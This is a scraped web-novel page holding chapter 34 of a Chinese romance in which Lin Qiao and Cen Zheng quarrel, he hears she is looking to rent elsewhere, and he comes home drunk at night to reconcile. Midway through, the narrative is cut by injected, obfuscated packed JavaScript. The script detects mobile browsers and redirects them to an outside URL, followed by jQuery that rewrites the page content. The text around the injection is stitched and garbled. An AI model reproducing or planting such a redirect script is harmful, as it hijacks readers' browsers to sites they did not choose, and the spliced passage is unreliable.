默认冷灰
24号文字
方正启体

34. 第 34 章

作者:檀灿本书字数:K更新时间:
    她说什么了?林俏皱眉,沉了脸色,让他放开。


    岑政静静欣赏她的表情,不为所动,眼底的黑沉愈发浓重,林俏被禁锢在他的领地,双手抵在他肩膀处,抬头不愉望他:“你有什么话就说,还有放开我。”


    腰上那双手没有丝毫撤退迹象,他掠过那双明亮倔强的眸子,咬牙冷冷:“林俏,你到底是真不知道,还是装不知道”


    “我当然是不知道”林俏听不懂他这句风马牛不相及的话,耐着性子:“岑政,你自己不知道吗?关于你,我知道的一直非常非常有限。”


    她说的理所当然,就像她那天说的,他的过去她不了解,未来也不会有兴趣去了解。


    她做到了,并且做的很好。


    客厅氛围降至冰点。


    岑政摆出事实:“你在帮段嘉琳说话”


    “我不是在帮她说话”


    “好”岑政松开她,像是被气笑了:“那你告诉我,一回来跟我说这些什么意思?”


    “没有必要因为我们俩的事扯到别人的意思”林俏觉得他咄咄逼人,回的同样疏离。


    原本昏沉灯光更甚,所有声响都消失,林俏和他拉开距离,打定主意不看他,灯光下,橘子皮的水汽氤氲在半空,带起一阵酸涩味道。


    两个人就这么不明不白吵起来了,吵得阵仗还不小。


    他们各自坐在沙发一角冷战,林俏不想去细究今天和他吵架的原因,岑政脸色很冷,垂着眸也不说话。


    林俏望着半空水汽殆尽,与此同时茶几上,岑政的手机响了,没有备注的一串号码,一直到自动挂断他都没接,紧接着又是一个电话,这次备注是他姐姐,他还是没接。


    又过了大概五分钟,他从沙发上起身,捞过外套在臂弯,透过暗沉光线,直直锁住她的侧脸:“给一个喜欢过你男朋友的人当说客”


    林俏眼睫微颤,没有说话。


    他语气沉冷:“林俏,我是该夸你一句大度,还是感慨自己有你这么一个好女朋友”


    “你不是陪我玩?”他站直了身子,眼底是熟悉的居高临下:“离合约到期还那么久,你这么玩不起?嗯?那挺可惜的,我玩的起。”


    林俏觉得自己耳朵出了问题,他说了这么多个字,她就记住一个玩,这个字直往她心口钻。


    接着是门被打开,然后被关上的声响。


    岑政走了,连同两个人这两天的那点微末温情也彻底消散。


    林俏在客厅又坐了十分钟才回过神,她抽过茶几上的纸,呼出口气,擦在眼角。


    她想,她或许适应了这个游戏。


    岑政一个人在楼下寒风中站了一个小时,王绪才把车开到他面前,他拉开车门上车,透过前视镜不难看出,他心情很差,王绪按照往常那样,把车往岑政另一所住处那开。


    这半个月以来,岑政受了伤,每晚又去应酬,一直住在那里,至于是为什么,他也不说。


    踩了脚刹车,在路口等红绿灯,岑政看着窗外,忽然低低问:“她这半个月怎么样?”


    王绪坐直了身子:“林小姐很好,有时候会和我聊起拍摄场地的趣事,听她的描述,就能听出来,她挺开心的,工作应该很顺利。”


    岑政想起从昨晚回去到现在,她没主动和他提起过一句话。


    “还有呢?”他接着问


    “她也会和我提一些人,比如她爸爸,还有她弟弟妹妹在学校的事,有时候会问我……”


    “问你什么?”


    “问我……问我是哪里人”王绪眼神飘忽不定:“年龄多大,然后和我再聊聊天”


    “没了?”


    王绪把这半个月林俏跟他说过的所有话搜肠刮肚过了一遍,最终十分笃定道:“没再提到别人了。”


    半个月,她没有给他发过任何一条过问的信息,没有向别人问过他一个字。


    岑政点了下头,什么都没再说。


    两个人就这么毫无征兆的吵了一架,林俏是不可能主动去找岑政,岑政后来一连好几天没有再回来。


    以前两个人每晚还雷打不动的发个晚安,现在也不发了,岑政在林俏微信列表不知不觉就沉到了最底下。


    李敬山动作很快,轻装上阵去给林俏谈通告,他那天陪林俏去跑通告,刚和晚晚调完侃,向林俏那一望,很快坐直了身子:“你这是什么意思?”


    林俏目光还停留在租房软件的各大房源上,手指在键盘上敲击:“就租房子”


    “你跟他说过了?”


    “这不是在看吗,不知道什么时候租”林俏回


    李敬山哦了声,慢悠悠坐回去了。


    傍晚王绪照常来接林俏,林俏站在路口还在刷着租房软件,上车的时候没注意息屏,好巧不巧被王绪看见了。


    当夜王绪去酒局接岑政,将近十二点岑政出现在餐馆门口,拉开车门上车就是铺天盖地的酒气。


    岑政去饭局上应酬其实不讨好,他这人不论怎么被他打压,不论什么境地,都是一副怡然自得的姿态,乌烟瘴气的酒局,他就坐在那,不去主动敬谁的酒,谁来找他喝,他看也不看别人就喝。


    找他喝酒的人,一般就知足了,毕竟在以前,谁敢想能和岑家的公子喝上一杯酒。


    “今晚还是回公馆那边吗?”


    “不是一直都回那”岑政扯松了领带,想起他和林俏吵架都是一个星期前的事了,又问:“她明天几点的通告?”


    “明天八点”


    岑政开了点窗吹风,现在回去太晚了,回去了以后他还要洗澡,打扰她休息:“回公馆”


    “好,我就是今天看见林小姐好像在看租房软件的消息”


    车厢里突然就静了。


    林俏记得那一晚,一向赶在十二点前入睡的自己久违的失眠了,她也不玩手机,就望着天花板数数。


    门铃就这么毫无征兆的响了,她以为是自己幻听,坐起来拿起手机看了眼,都已经是凌晨一点半了。


    刚想躺下去,门铃又响了,她大概是傻了,没想太多穿上拖鞋就去到门跟前。


    她站在门前问:“谁啊?”声音软糯带着点干涩


    岑政是站到这道门前才想起自己没带钥匙,但他其实可以刷人脸,可他没有,他选择在深更半夜摁门铃。


    他一时没有回答她这个问题,林俏是真傻了,竟然直接打开了门,玄关处的感应小灯倏的一亮,她穿一件到脚踝的白色棉质睡裙,仰着头望着他,那双眼里还没有来得及带上任何伪装。


    岑政看见她站在这里,心里忽然一软,俯身,毫无征兆的抱住她。


    酒气混着深夜的冷风裹着他的气息,将林俏整个人圈在怀里,她几乎第一时间就知道了这个人是谁。


    所以她没有推开,她不知道为什么,他忽然回来了。


    两个人分开前吵了一架,再见面也不应该是抱在一起。


    可林俏不知道要从哪里开始计较,干脆就放空脑袋。


    他拥着她的力道不算轻,带着点失而复得的紧绷,声音哑得厉害,酒意磨过喉间,字句都沾着涩:“租房?林俏,你敢。”


    不是商量,是带着霸道的笃定,却没了往日的冷硬,只剩藏不住的慌。


    林俏没推他,也没应声,鼻尖蹭到他外套上的凉意,眼眶忽然就酸了,喉间堵着气,闷声问:“岑政,我什么时候说租房了,你又是听谁说的?我就是真租了,你又能把我怎么样?”


    她的声音软乎乎的,带着失眠的沙哑,还有点没藏住的委屈,一点都不像平日里那个疏离倔强的样子。


    岑政


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115557|191515||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    闻言,手臂收得更紧,几乎要把她揉进骨血里,额头抵着她,呼吸乱了:“反正不能走。”


    五个字,说得又轻又沉,撞在林俏耳边,震得她心口发颤。


    他从来不会说软话,这句像是笨拙的认输,比任何道歉都管用。


    林俏憋着气掐了下他的腰,瓮声瓮气的:“放开我,你身上好冷。”


    “不放,你还没答应我。”


    林俏闻到他身上的酒气,怀疑他是不是喝酒喝傻了,她无可奈何像哄小孩子一样:“我答应你。”


    “答应我什么?”


    “答应你不搬走”林俏觉得他好奇怪,她迟早都要走的,她又补了一句,不知道是提醒他,还是提醒自己:“等到合约到期才彻底走。”


    他像是没听见后面那句话,又低低道:“吵架也不能搬走”


    林俏斟酌片刻,而后轻声道:“那要看你和我吵什么样的架”


    他松开她,林俏把他拉进来,关门,上下扫了他一眼,准备去休息:“下次别喝这么多酒。”


    岑政笑了下点头,林俏见状直接回了房间,他目送林俏回房间,然后回自己的房间收拾衣服洗澡。


    林俏身上也沾染了酒味,她睡不着也不想去洗澡,就换了件睡衣。


    后来她又想起什么,几番纠结之下,走到岑政房间门口,她敲门,他让她进。


    林俏觉得深更半夜敲人家的房门确实奇怪,所以她站在门口,岑政头发刚吹好,几丝乌发撒在额间,幽幽望着她。


    她问:“你这几天涂那个药膏了”


    他扬眉,凤眸半垂:“我一个人睡,上哪找人给我涂去”


    林俏蹙眉,不知道他怎么把话扯到这事上。


    她进了他屋子,一看那药膏他压根儿就没带走,直接摸到手里,不太自在:“我帮你上药。”


    他坐在床侧,林俏只能从另一边上他的床,双膝跪在他床上,她觉得自己真是给自己找罪受。


    岑政脱了上衣,露出精壮的上身,宽肩窄腰,后背上不仅有未愈的伤痕,还纵横着很多陈年旧疤。


    林俏挤出药膏在指尖,然后涂在他伤口处,这药膏涂在后背冰凉,可岑政却觉得她指尖划过的后背像是点了火,他深吸了一口气,这微弱声响,在这寂静昏沉的卧室格外明显。


    偏偏始作俑者还问他:“我弄疼你了吗?”


    岑政摇头,林俏长这么大,第一次这么触碰到男人的后背,指尖有什么触碰到他后背凸起的疤痕,感觉热气翻涌上脸,庆幸还好他房间没开大灯,只想快点结束。


    她觉得沉默更奇怪,于是问:“你以前留的这些疤,是因为没来得及上药吗?”


    “不是”岑政沉默了很久,再开口声音低哑:“以前我奶奶会给我上药”


    记忆里的老人头发花白,默默流着泪。


    林俏指尖一顿,这好像是他第一次提到他的家人,她从段嘉琳嘴里听到过一些,选择缄默。


    又过了大概五秒,他又像随口提起般:“她几年前就去世了”


    林俏心尖泛起细微的疼,她不知道该说什么,她不会问他这些疤是怎么弄的,她不想让他再想那些。


    最后一处涂完,她缓缓移动着下床穿鞋,他取过衣服套在身上,林俏走到他身前,和他说话前下意识拉高了领子:“你早点休息。”


    她没走成,岑政拉过她,不让她走,林俏斜在他怀里,睡衣向下坠去,她身体线条曲线毕露,林俏扫一眼身体又羞又恼,抬眼瞪他,他方才的失意难过好像不见了,他毫无征兆吻她脸颊。


    卧室里灯光很暗,窗外是无边的黑夜,林俏记得那晚他说了什么,他又吻在她唇角落在耳畔的嗓音很低:“我今夜回来,主要是为了给你认个错,俏俏,我知道,我有时候挺混蛋的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)